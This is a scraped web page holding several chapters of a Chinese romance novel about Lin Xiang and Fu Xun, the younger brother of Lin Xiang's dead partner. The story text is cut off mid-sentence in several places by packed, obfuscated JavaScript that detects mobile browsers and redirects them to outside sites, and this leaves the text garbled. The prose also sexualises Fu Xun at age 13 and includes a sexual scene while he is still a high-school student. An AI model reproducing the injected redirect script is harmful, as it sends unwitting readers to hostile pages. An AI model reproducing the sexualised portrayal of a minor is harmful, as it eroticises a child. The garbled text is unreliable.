林湘伸手把碎发别至耳后,和他平视:“怎么啦?” 傅恂的视线很快从那抹水墨移开,别过头去,说:“我难受。” 林湘伸手摸摸他的额头,又听见傅恂继续说:“我梦见我妈了。” 话音刚落,震耳的雷声紧随而至。 果然还是个小孩子呢。林湘想。他拉起傅恂的手腕,说:“没事的,我陪你。” 傅恂被他牵着回到了床边,窗外雷声又响,傅恂轻轻拉了拉他的衣角。 白色的睡衣,外是一层很软的薄纱,内只有一层薄丝绸里布,很潮流的款式,应该是以前傅霖送的。暖光漫过他轻纱笼罩的肩头,半透的衣料下透出暖玉般的肌肤,好似在仲夏夜的薄雾中半开的睡莲,在暖黄的灯光中呈现着蜜色的涟漪。 林湘靠近了一点,笑道:“男孩子还怕打雷呀?羞羞。” 傅恂说:“你躺下来。我怕。” “哪有人13岁了打雷下雨还不敢自己一个人睡的。” “我。” 衣角被傅恂攥着,颇有一种不答应就不放手的气势。林湘想到傅恂今天才从警局回来,没见过大风大浪的孩子估计一时半会也没缓过来,只好脱了鞋,在他身侧躺下来。 曾经缠着傅霖一同入眠的林湘被温柔地教导过:“记得不要随便和别人睡在同一张床上。” 林湘一头扎进傅霖的怀里,用额头在他的锁骨上蹭了又蹭,像小猫叫一样的声音说:“你不是别人呀。” “除了我。” “为什么?”林湘想,自己的好朋友们也不行么? “因为湘湘和别人不一样,万一我不在,你要知道保护好自己。” 傅恂也不是别人,林湘在心里想了想,他学起傅霖的话,一板一眼地:“不能随便和别人睡在同一张床上。” “你是别人吗?” “除了我......” “我知道的。” 傅恂闭上眼睛,呼吸逐渐平稳,看起来像快睡着的样子。 林湘探起半边身子,伸手将他盖住眼睛的碎发整理到一旁,轻声开口:“小恂,小恂,快点长大吧。” 傅恂突然伸出手臂,轻轻抱住了他。 林湘有些无措,下意识想要拒绝这温凉的手,指尖却在将触未触时蜷缩成犹豫的弧度,最终把他的头往自己的身侧轻柔地贴了过来。 傅恂的脸蓦地陷入一片温软,鼻梁被迫挤开薄纱上的褶皱,呼吸因为布料变得微弱急促,让他在初雪般柔软的曲线上无意识地轻微游移。小小的雪丘随着呼吸起伏,气息在上方渐渐织成一张温柔的网。他的脸也随着浮动的频率,毫无缝隙地贴合着。 窗外的香樟树随着大风大雨沙沙摇晃,傅恂在风雨声中平静地闭上眼。 自己好像抱着一个孩子,走在老街潮湿的小巷里。孩子嫩藕般的小手臂紧紧抱着自己的脖子,又将自己毛茸茸的脑袋贴在自己的肩头,他好像没办法放下这个孩子,抱着他一直走,一直走,走到渐渐没有体力,他还是没有放下,那孩子却心疼地安慰起他:“放我下来,我不要抱抱了。” 他睁开眼,才明白这是个梦。现实里哪来什么小孩子是让他爱到不肯放手的? 林湘在他的身侧蜷缩着身体,额头紧紧贴住了他的肩膀,洁白的脚也缠着他的小腿,像个小孩子一样依偎着他,脸庞宁静又脆弱。他伸出另一只空手,按掉快要响起的闹钟,重新闭上眼。 半睡半醒间,傅恂喃喃了一句:“下次再抱。” 第二天夜里,傅恂又敲起了林湘的房门。 林湘很快就开了门:“小恂,怎么啦?” 傅恂说:“打雷了,睡不着。” 林湘叹了一口气,捏捏他的耳朵:“总是这样,以后怎么办? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735295|174066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却依旧牵起傅恂的手腕、回到傅恂的房间里、在傅恂的身侧躺下。 最近几日接连下雨,渐渐连着被子、枕头,也一同搬到了傅恂的床上。雨真正停下的那一天,两人仍然睡在一起。 林湘说:“等以后念了高中,就不能这样了。” 傅恂问:“为什么?” “高中的大孩子了,还要人陪着才敢睡呀?不克服怎么行呢,再以后念大学怎么办?” 傅恂不说话,翻过身,用被子盖住脑袋。 许久,说:“别管我。” 林湘愣住:“不是这个意思。” 他在心里想着,傅恂现在还小,估计还没有青春期的意识,也许再长大一点就知道要拥有私人空间了,到时候再分开睡也不迟。 “好啦,我不说那些话了,我们睡觉吧。”林湘伸手把被子扯下,“不要这样睡,空气流通不了,怎么呼吸呢?” 他伸手替傅恂捋顺额前的头发,又说,“头发要剪啦。” 傅恂张了张嘴巴,尖锐的利齿咬在林湘手腕的软肉上。 不重,也不痛,只是有点痒,林湘轻轻揪了揪他的耳朵,佯怒道,“还生气呢?那我回我的房间睡了。” “你哪有房间?这个家的所有,连同房间都是我的。”傅恂说着,握着林湘的手腕拉至唇边,又轻咬了两下。 林湘只好认输,他和小孩子较什么劲呢?他看着自己手腕内侧那几点尖尖的牙印,咕哝着,“被狼咬了。” “什么?” 林湘的手放在傅恂的嘴角,往中间捏了捏,笑眯眯的,说,“小恂这两颗虎牙又尖又利,狼的牙齿也是这样的。” 傅恂不说话,林湘感觉手腕上的压力突然又加重了许多。 “……还咬!” 夜色渐深,林湘睡着了,傅恂慢慢松开口,闭上眼入眠。平稳的呼吸声像块无垠的薄纱,将他们包裹起来,从此后的许许多多个夜晚,这个本不该有任何交集的人,用气息在他入眠的瞬间刻下了永远的痕迹。 5. 第5章 12月份,清晨的天总是蒙蒙亮的。 傅恂早上起来的时候林湘还没醒,他小心翼翼地起身下床,走到门口前才回头看了林湘一眼:长发听话服帖地依偎着薄背和肩膀,保持着蜷缩的姿势,像只垂耳小兔子,藏在温暖的窝里乖乖地熟睡。 他觉得林湘这一点就很有意思,睡相可爱,乖顺,像小孩子——明明这么大个人了,却好像比他学校里的所有人都幼稚。在他面前,总有一股急于证明自己很成熟、已经是大人的作态。 他进了卫生间洗澡,醒来时发现自己裤子上沾满了黏稠的、还有些异味的白色液体,和昨晚的梦一样。他梦见自己面前有一颗刚成长的树,长得非常茂盛,左右分支,向上伸展着,叶子繁茂、葱茏,周身散发着奇怪朦胧的光,莫名的冲动驱使他走近看,树干很笔直,上面歪歪扭扭地刻了几笔划痕,树液从划痕中溢出来。他伸手沾了一点放进嘴里,是咸的,黏腻的。恍惚中感觉有人勾住了他的手指,他睁眼,看见林湘眼角滑下来的泪。他不知道林湘是清醒的,还是做了噩梦,他很困,不愿想太多,也没有把手抽走。 林湘怕冷,今天在棉衣里穿了三件毛衣,整个人看上去像块小面包一样。傅恂从卫生间出来,就看见这块蓬松柔软的小面包拿着一只马克笔在客厅墙边等他。林湘冲他招招手:“小恂,来我这里。” 傅恂走过去,被林湘拉着站在墙边。林湘拿着马克笔,在他头顶压实,然后保持水平,在墙面划下一道痕迹,“一年比一年高啦。” 林湘收了笔,突然被傅恂握着手腕,拉到墙边贴墙站着。傅恂拿过笔,偏头躲过林湘温热的鼻息,用马克笔在那道痕迹一旁添上了林湘的划痕。 林湘问:“怎么一大早就洗澡呀?” 傅恂说:“裤子脏了,不舒服。” 林湘意会地啊了一声,“生物书上说,这种情况是说明小恂长大了。” 傅恂看了他一眼,把笔收了,拿起书包往外走,“你说什么就是什么吧,我去上学了。” 林湘急忙拉住傅恂的书包带子:“等等,你还没……” 傅恂停下,回头抱住林湘,林湘也伸手轻轻回抱他,在他身上闻到老街榕树的味道。 “我出门了。” “路上小心。” 冰冷的两室一厅,这些年因为林湘的到来,连同傅恂的生活,一起“活”了起来。 他的衣服大多都是黑白灰,每天一抬头就能看见阳台上挂着林湘浅蓝色、嫩绿色的衣服,连带着林湘种下的花,鲜红色、鹅黄色,好像在阴天也能出现彩虹;他们那张一起共眠过数个夜晚的床,床头的小角落有林湘的小世界,堆叠着林湘睡觉前顺手脱下来的粉色发圈、紫色发夹;地上会有垂落的发丝,无声地给他这个家有另一个人在身边一起生活的实感,借着发丝逐渐渗入他人生的每一个缝隙里;卧室被一种无色的味道填满,平凡,细腻,又很安心。味道的源头好像在阳台,秋天的阳光洒进来,傅恂看过去,林湘在阳台吃着面包,给花草浇水。 他像只慢慢咀嚼着胡萝卜的小兔子,浇一盆花,就咬下一口面包,小口小口地吞咽进肚。他穿衣服的颜色从来不和季节挂钩,在秋天穿着薄荷绿的圆领长袖,领口有些大,露出光裸细腻的锁骨。头顶上方是件没拧透的藏青色衬衫,水滴被阳光透成金黄的颜色,砸在林湘的脑袋上。林湘好奇地抬起头寻找是哪儿滴水,圆滚的两只大眼睛如同浸在水里的玻璃珠子。 藏青色的衬衫是他陪林湘去买来用于面试穿的,林湘今年开始要找实习,同时还要忙学校的课业和论文,经常很晚才回家。前段时间傅恂不止一次见过楼下除了林湘,还有另一个男生的身影,他知道这人的名字,林湘在家里做小组作业,里面有这人的照片,名字叫叶齐。 傅恂和这么多年来做的一样,让人去调查叶齐。家里有两个妹妹,父亲是警察,母亲开连锁超市,他在学校里是学生会副主席,最近负责对接实习期的工作。 就比林湘高半个头,还带着一副老土的眼镜,相貌没有多出彩,林湘是怎么忍受这种人走在身边的? 叶齐知道最近自己身边有些奇怪的人,生活学习里的挫折也变多,但自认为自己的人生顺风顺水,靠着父亲找出幕后的人时,有人给他带话,天子城脚下卧虎藏龙,别惹了惹不起的人。 叶齐不可置否,他爸是警察,有许多个二等功,世上没有人能躲过法律。带话的人却笑他天真,这背后的势力警局局长都要弯腰递茶,他爸不过一个领死工资的小警察。 他后知后觉发现那人的姓,这城里唯一能做到如此的,只有傅家。 傅恂走到阳台,把衬衫取下来拧干了水,再晾回去,不经意地同林湘说起话,“最近怎么没见你男朋友送你回家了?” 林湘眨眨眼睛,“我没有男朋友啊。” “戴眼镜那男的不是么?” “啊,你说叶齐?他只是我同学呀,开会结束晚了说顺路送我的……好像最近很少见他了呢,估计忙别的事情了吧。” “我还以为你把他忘了去谈恋爱呢。” 林湘知道这个“他”指的不是叶齐,是另一个黑白照片的主人。他不吭声,把剩下的面包全部塞进嘴里,转身向客厅走去,又唤傅恂,“你过来我这里。” 傅恂顺从他,配合地贴墙站着,因为看见林湘拿着笔,知道他要记他的身高。 林湘脚尖踮高,把胳膊伸长,在傅恂脑后画了一道痕迹,“长好高了呢。” 他的痕迹几乎没动过,傅恂的却一道比一道高,两人划痕之间的差距越来越大。 傅恂轻轻嗯了一声,捉住林湘的手腕看,那里也有他的痕迹。 “还没睡觉就想咬了呀?”林湘动了动,想收回手,怕傅恂咬他的手腕。 以前傅恂13岁时爱咬他的手腕,他只当是小孩子在发泄自己的不满,可在他的默许下,这些年来慢慢地变成了傅恂的一种习惯。傅恂入睡前会抬起他的手,叼住腕间的嫩肉,用利齿一小寸一小寸地轻咬,总是把他弄得痒痒的,这种痒意成为了他入眠的一种媒介,每次醒来,手腕上都是傅恂的牙印。 傅恂只是盯着看了一会儿就放下了,“以后你男朋友问起这些痕迹怎么办?” 让他出乎意料的,一句玩笑话,林湘居然在认真思考,模样傻乎乎的。 “我不会让他看见的。” 林湘顺利进入实习后,却生病了。 玻璃瓶里透明的液体一滴一滴砸进小滴壶里,林湘的嘴唇很白,身体在轻微发抖,好像做着噩梦。 傅恂握着他的手,那双有着淡粉色指甲盖的手此刻也是苍白的,宽大的白色胶布盖着大头针眼,那只手腕细得像花坛里清脆的花杆一样。 林湘好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林湘发现自己置身于一片无边无际的空白里,没有目的、跌跌绊绊地走着,却走不到尽头。中途摔跤了许多次,摔得头破血流,也没有停下,因为他看见有人在前方等他,分不清那是傅霖、还是傅恂的身影。他像遇到了鬼打墙般,怎么走都走不到那人的身边。身边开始落下一颗又一颗晶莹的珍珠,林湘无助地对前方呢喃,傅霖,我追不上你了,你回头好不好? 他醒来,四周一片安静,抬眼对上傅恂的目光,便扯了扯嘴角,露出一个虚弱的笑,琥珀色的眸子水润地淌出溪流。 吃药的钱很贵,傅恂初中时自学给别人写程序赚到的钱只够吃了一个星期,在烧钱一样的医院里,傅恂拨下傅家的号码。 傅恂打完电话走进病房,林湘在床上看电视,上面放着美国丽人,已经播到了片尾。他看着林湘的脸,耳朵一字不落地听着从电视传出的台词声音:后来我记得要放轻松,别一直想要紧抓着不放,所有的美就像雨水一样洗涤着我,让我对我这卑微愚蠢的生命,在每一刻都充满感激…… 林湘接过傅恂递过来的水,“你回学校吧,不用陪我的,我现在好很多啦。” 灯光在床头亮起,给林湘侧脸的轮廓镀上蜜糖的颜色,香甜得仿佛顺着脖颈就能流下。 傅恂说:“你睡着了我再回去。” 林湘应下,看了看自己的手腕,傅恂的牙印已经消失得无影无踪,手背上插着蓝色的输液管。桌上有傅恂给他带来的书,于是他想了想,说:“小恂,念些诗吧。” 他慢慢闭上眼,耳边响起傅恂清冽磁性的嗓音: 你伸出细长、洁白的枝条, 任它略带羞涩 随着微风飘摇。 于是你轻曼地 以你的绿氤似霭, 喻示我一个 温柔而纯真的年轻的爱。 6. 第6章 半个月过去,林湘更瘦了,看上去就像一个快要碎掉的瓷娃娃,走路时仿佛是被风拥着走的。傅恂带着林湘去上厕所,走在他的身侧,一只手牵着他,陪他慢慢地走,好像有用不完的耐心。 林湘问:“今天在学校吃了什么?” 傅恂面色平淡地撒谎:“清蒸鱼、炒白菜。”他并没有回学校,和老师请了假,林湘睡觉时,他就坐在床边小憩。 林湘低头脱下宽大的病号服,看着自己畸形的下身,说:“没有吓到你吧。” 傅恂帮林湘举着吊瓶,站在他身后几步距离,把脸转过去,说:“没有。” 林湘忽然有些后悔,他在这世上最亲密的人只剩下傅恂,早已成为自己难以割舍的一部分,可这么多年来,却耻于坦诚。这个处在学业关键期的高中生,每天坚持不懈来医院陪他,他应该好好感谢傅恂。 林湘说:“这次情况特殊......” 傅恂打断他:“打算瞒我一辈子?” 外婆知道、傅霖知道,唯独他不知道,如果不是这次特殊情况,他似乎永远不得瞧见月亮隐藏的背面。 林湘望着站在他面前的傅恂,视线变得模糊。傅恂在这模糊的视线里,看上去竟像是傅霖,一样颀长的身材,一样俊秀的脸。 傅恂伸出一只手搂住踉跄的林湘,整个把他抱起来,皱起眉说:“好了就回床上休息吧。” “我不想让你觉得有负担......谢谢你,傅恂。有你在真的太好了。”林湘伏在他肩上,终于把这句话说给他听。 傅恂轻描淡写道:“我喜欢女生。” 林湘点点头,脸上露出有些促狭的笑意,“这样挺好的。” 医生来给林湘打针,那样粗的针管,缓缓推进他的脊椎里,傅恂握着他的手,那么那么用力。 林湘说:“你要是有了喜欢的女孩子,第一个告诉我好不好?” 傅恂笑:“告诉你有什么用?” 林湘重复:“好不好?” 傅恂说:“看心情。” 林湘也笑,傅恂从来不肯说他想听的话。他笑着笑着又疼得倒吸一口凉气,“好疼啊。我们什么时候可以回家?我好想家。”他挂念家里那些他精心照顾的花花草草,想念那两个人一起转身都困难的、小小的厨房,想念和傅恂一起吃的那一锅面条。他总是会心血来潮变着花样折腾面条,可不管他折腾出来的成品好不好吃,傅恂都会吃得干干净净。 傅恂说:“快了。”带着几不可闻的叹息声。 窗外的夕阳好漂亮,林湘躺在橙色的余晖里,长睫微翘,远看近看都十分漂亮。在苦难终结前,好像只要有依赖、陪伴、不走散,他靠这些就可以活下去。林湘是他见过最有韧性的人,单纯的,傻傻的,喜欢种花,下厨,不管自己说话多难听,总是笑眯眯地从头听到尾。从前他以为林湘是故意惯着他,是装的;可时间一久,才发现并不是,他永远找不到林湘的底线在哪,好像什么苦难撞在林湘身上都会土崩瓦解。他那样清苦又贫穷的少年时期,因为有温柔的林湘,都变得那样幸福。 终于到了出院那一天,傅恂去办出院手续,隔壁床的病友王阿姨给林湘送了一只老母鸡,用好大一个塑料袋装着,里面还有用枸杞、党参一起炖的鸡汤。 当时林湘在睡觉,她问过傅恂,这是你姐姐还是妹妹呀? 这个男孩子照顾起林湘,比她丈夫照顾自己还要勤快,不管是换药还是擦身子,动作都干脆利落。每天下午五点准时背着肩带开了线的书包来到病房,陪护的折叠床只用30块钱一个晚上,他也不去租,在病床前一坐就是一个晚上,好像不用休息,等早晨医生巡房结束了才会离开;十一点又准时回来,带一个不锈钢的保温饭盒,两个人分一份饭,林湘只能吃流食,吃得很少,吃好了就会看着他吃光饭盒里所有的饭菜,笑盈盈地问他在学校里的事情。 傅恂说,都不是。 王阿姨觉得奇怪,除了亲人,谁还能忍受在病房里这么久的陪护?她本想继续追问,见傅恂脸色不悦,不太想搭理人的样子,便识趣地不再吭声,心里叹息道两个可怜的小孩子,住院这么久,竟没有一个大人过来照顾。 傅恂看向林湘手里的塑料袋,问他:“哪来的?” 林湘声音小小的:“邻床王阿姨给的。我怕吃不起饭……就收了。” 他和傅恂有一张共同的银行卡,两人所有的支出收入都在这张卡里,生病这段时间,一定花光了这些年他们攒的积蓄,也许还不够。他试探着开口问准备去缴费的傅恂:“交完钱我们还吃得起饭吗?” 傅恂说:“等会不就知道了。要是没钱吃饭,你就留在这扫地打工,我去太平间搬尸体。” 林湘:“......好啊。” 傅恂在缴费窗口前回头看了看林湘,正乖乖地坐在椅子上,抱着他的书包等他。 工作人员和他说,费用已经交过了,不要在窗口浪费时间,后面还有很多人在排队。 傅恂笑了笑,说:“好的,知道了。” 傅家的秘书已经给他交完剩下所有费用,他来这不过做个样子给林湘看——这个傻瓜,担心没钱吃饭会饿着他的肚子,永远不会为自己考虑。 傅恂走到他身边,略带可惜地说:“卡里还剩五十一,林湘,你努力了几年,又变成穷光蛋了。” 谁知林湘摇摇头,眼睛亮晶晶地看着他:“你不觉得这样很有盼头吗?我们可以从头开始,我去实习,会有工资的呀,到时候每个月存一半,留做你以后大学的费用;另一半就用来......” 林湘说要庆祝自己出院,再犒劳一下辛苦陪诊的傅恂,拉着他去了菜市场。三三两两的路人携手从他们身边路过,带着孩子的妇女、年轻的恋人,还有白头的伴侣。菜市场对林湘来说是一个最具有生活力的地方,他听他们说家常,说琐事,说价格,声音亲切。他看向傅恂的侧脸,年轻美好,有无限的未来,心里由衷地希望傅恂也和他们一样,健康自由,虽然平凡,但是很幸福。他安静地看着,好像看到傅恂会和某个人牵手散步,逛超市,逛菜市场,夕阳把影子拖得好长好长,度过每一个普通的日子,平平顺顺地白头到老。他要是有那么一天在天上或地下和傅霖重新相遇,可以笑着说,你的弟弟很幸福,我把他照顾得很好,是不是很厉害?可是他竟有些不舍。水产区的地面总是湿漉漉的,氧气泵在塑料盆底咕嘟咕嘟吐泡,刮鳞刀在砧板上嗒嗒地响,难闻的腥味、潮湿的空气,不知道老街的小巷子是不是也还湿漉漉的、弥漫着咸腥的怪味呢。 最后他们只买了一点苹果,傅恂回家切下那只母鸡,剥下一边的肉剁成细碎的小块。林湘在电饭锅里蒸好一小杯米饭,拿着傅恂切好的碎肉拌进饭里,淋上汤汁,泡得软软的,这就是他的晚饭;傅恂不吃这种黏糊的流食,林湘就用老干妈和榨菜拌进成块的鸡胸肉里,又加了一块鸡腿,用小锅温温地翻炒,母鸡被炖得软烂,翻炒时他就额外小心。 今年他21岁,在饭桌上吃着便宜的汤泡饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这不是学习么?不学连地方都找不到,以后怎么让我的女朋友满意。”捂住眼睛的手被拉下,傅恂脸上带着戏谑又散漫的笑,“还是你教我?” 林湘说:“教......什么?” 傅恂平静道:“我不会。” 林湘极力忽视,他声音沙哑,脱口而出:“你像电影里那样,摸它。” 傅恂拉开拉链:“这样么?” 过了一会儿,他放下手,说痛,“算了。 —— 林湘喃声:“手酸。” 傅恂盯着这张娇嫩漂亮的脸蛋,换上命令的口吻,冷声道:“别撒娇。” 林湘的脑袋已经被蒸得发晕,无法思考,他呜咽道:“不可以凶我......” 傅恂眼帘低垂,低笑一声,伸手掐住林湘的下巴,捏住脆弱的后颈,迫使他离开自己的肩膀,让他低下头清晰地看着,“你当玩玩具么。” —— 他尽力抬眸去找傅恂的眼睛,发现对方也在注视着他,和他的相反,傅恂的眼珠冷淡清澈。林湘和他四目相对,温热顺着他的眼皮、脸颊滑下来,傅恂没有给他擦脸,他也无所谓它们流向哪里。他在尽力寻找让这一切变得合理的理由,这似乎有什么不对的地方,但又有个声音告诉他,这一切理所应当。 “我……”林湘如梦初醒,慌忙地从他身上跳下来,逃到卫生间去。 傅恂坐在沙发边,用纸巾擦手。林湘在卫生间门合上的一瞬开口对他说了什么,傅恂没有回应,沉默地向他的小猫道别。 7. 第7章 二十分钟过去,林湘还没从卫生间里出来,傅恂对上次他在里面晕倒的事情仍心有余悸,将要过去敲门试探,却隔着门捕捉到几声压抑的喘息。傅恂靠近了听,又只有哗哗的水声。 他慵懒地靠着门,声音带着一丝戏谑:“刚刚听见了奇怪的声音,林湘,你还好么?” 林湘没有立刻回答他,傅恂听着不绝的水声,嘴角勾了勾。林湘的反应已经昭示了自己的胜利——人都是有欲望的,他不是一个人动情,有人和他一起,这个人还是林湘,是件好上加好的事情。 林湘湿漉漉的声音从门后传来,水雾让它听上去有些不切实际的缥缈,“......我没事。” 卫生间的门终于开了,傅恂看过去,氤氲的水汽随着林湘一起涌出来。头发上沾有丝丝痕迹,他便顺带洗了头发,还未来得及梳理吹干,像海藻般披散在肩上;睡裙有些大,领口上方露出一片雪白的皮肤,每一寸都透着莹润的光泽。 傅恂把吹风筒打开,站在林湘身后给他吹头发。 这也是傅恂这些年来的一个习惯,每次林湘洗完头,只要他在,他就会给林湘吹头发。当时林湘的头发也是湿漉漉的,伏在桌前赶资料,水珠就顺着发梢的轨迹慢慢滑落。线不够长,他拉了一条插座,拿着吹风机站在林湘的椅子后方。发丝的手感很好,顺滑柔软,摸上去像一块上好的丝绸,他的动作也不自觉地放轻,林湘坐在椅子上抬起下巴看他,眼睛在夜里亮闪闪的。吹了没一会儿,吹风机连着灯光一起毫无征兆地熄灭,他们家是老式居民区,电压有时不稳定,傅恂才发现是自己拉的插座导致了跳闸。林湘亮起屏幕上有两条黑杠的二手手机,在微弱的光里和他说:“我只和你最亲了。”那是自林湘开始住进他家后,他们第一次有这么亲近的相处。 微风习习,傅恂的手指很冰凉、动作很轻,指腹若有若无地从头发里碰到林湘的耳朵。最后林湘发现他给自己编了一条麻花辫,软软地垂在右耳侧。 林湘摸了摸辫子上交叉的纹路,抬起脸看向这个高自己一个头的少年,问:“好看吗?” 傅恂把吹风机插头拔下,线一圈一圈地绕着吹风机缠好,说:“嗯。” 林湘笑笑:“头发好长了。” 傅恂说:“不要剪。” 林湘去厨房系上围裙,开始做晚饭。走向厨房时有些细微轻快的音调从他鼻腔和嘴唇里泄出来,傅恂认真听了听,林湘似乎在哼歌。娓娓动听的一只百灵鸟。 傅恂倚在厨房门处,静静地看着这个他看了无数次的场景和背影。 林湘猫着腰从冰箱中翻出一小截南瓜和几颗小土豆,然后踮起脚去够吊柜顶上的猪油罐子,罐子被挤到里面不太够得到,便拿了一个长柄勺子勾着罐子慢慢地往外拨,像小猫玩毛线球一样。林湘从不挑食,吃得也少,简单的一盘清炒南瓜就可以解决,但是他对傅恂的晚饭总是很用心,荤、素、汤都不可缺一。今天的砧板上放着超市特价的猪肋排,用来和土豆一起做炖肉,土豆炖肉最后淋上生抽和豆瓣酱,用大火收汁,林湘站在煤气灶台前,低头垂手,静静等待菜肴入味。厨房里开了一盏暖黄色的小灯,灯光从他的头顶倾泻到麻花辫上,蔓延到脚边,落了一地的温婉平和,时光仿佛就此静止了。 小妻子。 傅恂对脑子里突然冒出来的词有些讶然,心中一动,鬼使神差般地向林湘走去,从身后轻轻环住他纤细的腰,把下巴抵在他散着淡香的发顶上。 林湘似乎并未在意这个举动,他没有拒绝傅恂的贴近,将头垂得更低,仔细在锅里挑起一块大小合适的肋排碎肉,放在嘴边吹了两下,再往后递。“这个味道可以吗?“ 傅恂张口咬下林湘递过来的肉,说:“还行。“ 林湘开心地说,“那出锅啦。”傅恂说不好吃,就是真的不好吃;说还行,那便是认可他;林湘觉得自己已经掌握了傅恂的说话方式——他确实是这么认为的,虽然傅恂从来没说过不好吃。到了晚上入睡时,傅恂就会变得比他矮一个头了,也许是冲动得到舒缓,也许是土豆炖肉的味道不错,傅恂今晚心情似乎很好,隔了一小段日子,这天晚上又重新枕在他的肩上,把玩着那只白嫩细腻的手。 利齿的痕迹从腕间渐渐往手肘上蔓延,林湘没发现,呼吸逐渐平稳,另一边搭在傅恂胳膊上的手紧了紧,快要睡着了。傅恂枕在林湘的肩上稍微调整了位置,脸能正好贴着随着呼吸起伏的雪团,那是世界上最柔软的地方。醒来后两人的姿势就变成林湘缠着他:毛茸茸的小脑袋会贴着他的肩膀或胸膛,蜷起双腿,像个小婴儿。这些年,他比任何人都清楚林湘最想要的是什么,是“家”。这个“家”可以是一个形容词,也可以是一个具体的空间;他也比任何人都自信,傅霖给不了的“家”,只有他可以给。谁缠着谁,又有什么区别?年复一年,日复一日,没有人能拆散他们,他们总是会睡在一起的。 临近年底,赶上公司年会,林湘兴致怏怏,到酒店楼下吹着晚风提神,在楼梯口碰到了自己的直属上司沈或宁。林湘在单位里不太合群,同事们大部分都是三四十岁的已婚人士,聊天的话题基本围绕房子、孩子、车子,他插不上话,交流最多的对象居然是自己的直属上司。沈或宁只比他大上几岁,单身,年轻有为,也没有领导架子,是许多单身女同事有意讨好的对象。他现在还在实习期,不能像对同事的态度一样对待上司,慌忙地打了声招呼,又客套了两句便埋头上楼。 今天出门前他和傅恂报备了一下,自己会晚点回家,困了就早点休息,不用等他回去。 熬过了俗套的领导发言和节目表演,大家来到VIP酒吧厅,分成一块一块地扎堆聊天敬酒,有些熟的凑在一起笑得热闹,不熟的之间冗长客套,林湘一个人站在巨大的玻璃窗前,摸了摸自己因为职业微笑而发酸的脸颊。 “过来喝一杯呀,林湘。”同事陈雨过来拉着他,走到他们部门的人群中,带头劝酒,把一杯颜色鲜艳、气味浓厚的酒递到他面前。 “劝酒”这个行为似乎在商业和职场上是必不可少的社交之一,好像喝下一杯酒,关系就能更近、合作就能谈成,成了稳固关系的媒介。林湘无可奈何,他接下陈雨手中的酒。 身后冷不丁地响起一声冷冽又熟悉的声音:“什么时候回家?” 林湘愣了愣,转过身去,看见了一脸淡漠的傅恂。 十八岁的少年,年轻挺拔的身影在西装革履中格格不入,如松如柏,站得笔直,自顾自地和他说话。 傅恂垂眸看向他的手腕和手中的酒,黑眸沉了沉,把酒拿了过来。 “哇,林湘,他是谁?” “长得很帅呢。” “是你的小男朋友吗?” 好事的同事们话题开始转向傅恂和林湘,林湘挡在傅恂面前,说,“不是啦......” 陈雨说:“认识有这么帅的弟弟藏着不介绍,林湘你不喝一杯可说不过去了啊。”她冲着傅恂说,“小帅哥,把酒让给林湘。” 林湘伸手夺回傅恂手中那杯酒,一饮而尽。眨了眨眼睛,大大方方地笑笑:“他不会喝酒,我敬大家一杯,先失陪一下。” 好在没有引起太多人的注意,傅恂被林湘拉着,沉默地跟在他的身后,用指腹上薄薄的茧子磨着他的手指,穿过无数劣质的、高级的西装布料,走到尽头的过道上。林湘问他:“你怎么来了?” 傅恂直直地看着他的双眼,声音淡淡,说:“我睡不着。” 林湘偏头看了看四周,确认没有人往这边看过来后,伸手摸了摸傅恂的耳朵,“现在这么晚了,你在家等我呀,很快我就回去了。” 他犹豫再三,又把手腕伸到傅恂的嘴边,小声地说:“割不下来让你带回家,悄悄咬两口吧,回家等我好不好?这里不适合你待着……” 傅恂忍不住在心里笑出来。 笨蛋。 沈或宁打量这个少年许久,这家酒店出名在只有经人介绍预约后才能进入,他是怎么能视若无睹地进入这个地方?混迹职场也有些年头,沈或宁也知道见人说人话,见鬼说鬼话,眼前这个少年也许没有他脚上那双廉价的运动鞋那样普通,既然和林湘关系亲近,他走上前去,不合时宜地打断了即将亲密的二人。 酒的后劲有些大,一杯下肚,浑身都烧起来。林湘牵着傅恂的手慢步走在回家的路上,傅恂脸色不悦,一脸沉黑。 他想估计是因为被沈或宁撞见了,只好宽慰道:“生气啦?怎么说也是他让我提前回来了呀……” 傅恂说:“没生气。”他原本的打算是顺着林湘的道在那儿吃上两口,再把林湘带回家,没有人能拦得住他。偏偏出来个什么沈或宁,让他的计划偏离了轨道。虽然结果是一样的,但是他厌恶这种提前被人支配的感觉,似乎在施舍他,令人不爽。 林湘的支配权只在他的身上,只有他能享有。 从酒店回来后,林湘就有些异常,径直倒在沙发上蜷缩着,格外安静。傅恂不知道林湘喝了多少酒,他来时见到的也许是第一杯,也许是最后一杯。 他走到林湘身边替林湘盖上了薄毯,又去卫生间拿了湿毛巾,给林湘擦脸,打算一会儿把林湘放回床上去。浸了热水的毛巾此刻温度还是暖和的,他把毛巾贴在林湘的脸上,和手指一起在他脸上游走。林湘眯着眼,似乎在躲避毛巾,主动把脸贴到他另一只手上寻求安抚,傅恂的手是冰凉的,感受到这点舒服的温度后,他不禁哼哼几声,像是不安得到了舒缓发出的喟叹。 傅恂感受到他的体温好像在慢慢升高,双手将他的脸捧在手心里,慢慢在额头,耳朵,脸颊处轻柔地抚摸。林湘的眉心紧锁,微张着唇,似乎十分难受,他用力睁开眼,眼眶和兔子眼一样周围都在泛红,那双含着水的瞳孔有些失焦迷离。 